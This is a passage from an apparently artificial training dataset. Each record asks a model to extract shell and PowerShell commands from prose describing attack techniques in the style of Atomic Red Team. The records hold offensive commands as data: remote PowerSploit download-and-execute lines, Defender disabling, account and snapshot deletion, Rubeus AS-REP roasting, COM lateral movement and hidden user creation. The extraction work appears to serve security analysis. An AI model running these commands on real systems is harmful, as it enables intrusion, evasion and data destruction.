-UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To delete the specified user account, use the following command: sysadminctl -deleteUser #{user_account} #enter admin password; Adversaries can inhibit resource availability by removing user accounts with this Azure AD command: Connect-AzureAD\n$userprincipalname = \"#{userprincipalname}\"\nRemove-AzureADUser -ObjectId $userprincipalname",
    "output": "{\"command_list\": [\"sysadminctl -deleteUser #{user_account} #enter admin password\\n\", \"Connect-AzureAD\\n$userprincipalname = \\\"#{userprincipalname}\\\"\\nRemove-AzureADUser -ObjectId $userprincipalname\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique loads shellcode to memory via UuidFromStringA and executes it with EnumSystemLocalesA, avoiding detection by using the following command: $PathToAtomicsFolder\\T1055\\bin\\x64\\UuidFromStringA.exe -debug; For remote process shellcode execution, the procedure includes obtaining a handle and allocating memory, followed by executing this command: $process = Start-Process #{spawn_process_path} -passthru\n$PathToAtomicsFolder\\T1055\\bin\\x64\\RtlCreateUserThread.exe -pid $process.Id -debug",
    "output": "{\"command_list\": [\"$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\UuidFromStringA.exe -debug\\n\", \"$process = Start-Process #{spawn_process_path} -passthru\\n$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\RtlCreateUserThread.exe -pid $process.Id -debug\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For lateral movement using PowerShell and Excel COM objects, which will spawn calc.exe on the target machine, run: copy c:\\windows\\system32\\calc.exe 'C:\\users\\#{user}\\AppData\\local\\Microsoft\\WindowsApps\\foxprow.exe'\n$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID(\"Excel.Application\",\"#{computer_name}\"))\n$com.ActivateMicrosoftApp(\"5\"); For creating a hidden macOS user with a UniqueID that makes it invisible by default, run the command: sudo dscl . -create /Users/#{user_name} UniqueID 333",
    "output": "{\"command_list\": [\"copy c:\\\\windows\\\\system32\\\\calc.exe 'C:\\\\users\\\\#{user}\\\\AppData\\\\local\\\\Microsoft\\\\WindowsApps\\\\foxprow.exe'\\n$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID(\\\"Excel.Application\\\",\\\"#{computer_name}\\\"))\\n$com.ActivateMicrosoftApp(\\\"5\\\")\\n\", \"sudo dscl . -create /Users/#{user_name} UniqueID 333\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This Atomic test creates and subsequently deletes a Google Storage Bucket, using the following command sequence: gcloud config set project #{project_id}\ngcloud storage buckets delete gs://#{bucket_name}; All snapshots for Virtual Machines on an ESXi Host can be removed by executing this command: echo \"\" | \"#{plink_file}\" -batch \"#{vm_host}\" -ssh -l #{vm_user} -pw \"#{vm_pass}\" \"for i in `vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}'`; do vim-cmd vmsvc/snapshot.removeall $i & done\"",
    "output": "{\"command_list\": [\"gcloud config set project #{project_id}\\ngcloud storage buckets delete gs://#{bucket_name}\\n\", \"echo \\\"\\\" | \\\"#{plink_file}\\\" -batch \\\"#{vm_host}\\\" -ssh -l #{vm_user} -pw \\\"#{vm_pass}\\\" \\\"for i in `vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}'`; do vim-cmd vmsvc/snapshot.removeall $i & done\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For information on Rubeus and its creators, visit: https://github.com/GhostPack/Rubeus#asreproast. Note that this build targets .NET 4.5, so compilation will be required for other versions. Run the tool with this command: cmd.exe /c \"#{local_folder}\\#{local_executable}\" asreproast /outfile:\"#{local_folder}\\#{out_file}\"\n; For domain user enumeration with PowerView, use the following command which will output scanning progress and user information: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose",
    "output": "{\"command_list\": [\"cmd.exe /c \\\"#{local_folder}\\\\#{local_executable}\\\" asreproast /outfile:\\\"#{local_folder}\\\\#{out_file}\\\"\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can prevent the Windows Lock Workstation functionality by using reg.exe with the following command: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v DisableLockWorkstation /t REG_DWORD /d 1 /f; To hide all desktop icons for the current user through Group Policy, use the following command in the cmd console: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoDesktop /t REG_DWORD /d 1 /f. Note that some Group Policy changes may require a system restart to become effective.",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" /v DisableLockWorkstation /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v NoDesktop /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable scheduled scanning and other components of Windows Defender ATP, use the following command, which will make Virus and Threat Protection appear disabled in Windows settings: Set-MpPreference -drtm $True\nSet-MpPreference -dbm $True\nSet-MpPreference -dscrptsc $True\nSet-MpPreference -dbaf $True\n; To disable the Privacy Settings Experience in LockBit Black, use the following registry command: reg add \"HKCU\\Software\\Policies\\Microsoft\\Windows\\OOBE\" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"Set-MpPreference -drtm $True\\nSet-MpPreference -dbm $True\\nSet-MpPreference -dscrptsc $True\\nSet-MpPreference -dbaf $True\\n\", \"reg add \\\"HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\OOBE\\\" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = 